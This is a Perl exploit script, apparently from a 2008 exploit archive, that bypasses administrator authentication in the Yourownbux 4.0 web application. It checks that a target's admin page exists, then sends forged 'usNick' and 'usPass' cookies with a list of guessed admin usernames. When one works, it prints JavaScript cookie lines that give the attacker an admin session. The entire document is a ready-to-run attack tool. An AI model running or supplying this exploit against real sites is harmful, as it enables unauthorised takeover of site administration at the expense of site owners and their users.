Yourownbux 4.0 (COOKIE) Authentication Bypass Exploit

#!/usr/bin/perl
    use LWP::UserAgent;
    use HTTP::Request;
    # ------------------------------------------------------------------------------------------------- -#
    # Yourownbux v4.0 ------------------------------------------------------------ --
    # Cookie Modification Exploit -----------------------------------------------------------------
    # Discovered By: Tec-n0x | 04/9/2008 --------------------------------------------------------
    #
    # Dropsec.com
    #
    # Modify The Line 39, Adding More User's that can be the admin username------------
    #
    # Gr33tz: Celciuz, OzX, N.O.X, MurdeR, Syst3m-c0d3r && All Friends --
    # ------------------------------------------------------------- ----------------------------------------#
    system("clear");
    print "
    # Yourownbux v4.0 Cookie Modification Exploit\n# Discovered By: Tec-n0x\n\n# Tec-n0x [ at ] hotmail [ dot ] com > DropSec.com
    \n\n";
    print "Target [ Example: www.sitedemo.com ] :\n> ";
    $target = <STDIN>;
    chop($target);
    if($target =~ m/www\.(.*)\.(.*)/) {
    $other = $1;
    check1($target);
    } else {
    print "\nInvalid Target.";
    exit();
    }
    sub explote {
    @tryusers = ("admina", "administrator", "admins", "admin", "master", "manager", "root", "$other");
    # Add Posible Users.
    $check = shift;
    foreach $user (@tryusers) {
    $pass = "Tec-n0x";
    print "\n\tTrying > $user\n";
    $browser = LWP::UserAgent->new();
    $browser->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14");
    $browser->default_header("Cookie" => "usNick=$user; usPass=$pass");
    $get = HTTP::Request->new(GET => $check);
    $resp = $browser->request($get);
    $content = $resp->content();
    @code = split("\n",$content);
    foreach $checka (@code) {
    if($checka =~ m/Emails|Served|Workload|Overview/) {
    system("clear");
    print "Succesfull EXPLOTED ...!!\n\nValid Username: $user\n\nGo to: $check\n\n And Put this on your browser:";
    $vd = "javascript\:document\.cookie = \"usNick=$user\; path=\/\"\;";
    $vda = "javascript\:document\.cookie = \"usPass=Dropsec\.com\; path=\/\"\;";
    print "
     ------------------------------------
    $vd\n $vda
     ------------------------------------
    ";
    $yes = 1;
    exit();
    }
    }
    }
    if($yes != 1) {
    print "\n\n\nExploit Failed";
    exit();
    }
    }
    sub check1 {
    $target = shift;
    $check = "http\:\/\/$target\/admin\/index\.php";
    $browser = LWP::UserAgent->new();
    $browser->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14");
    $get = HTTP::Request->new(GET => $check);
    $resp = $browser->request($get);
    $content = $resp->content();
    @code = split("\n",$content);
    foreach $checka (@code) {
    if($checka =~ m/You must login as administrator to access this page/) {
    print "Check 1 [ OK ]\n";
    $success = 1;
    explote($check);
    }
    }
    if($sucess != 1) {
    print "Failed";
    exit();
    }
    }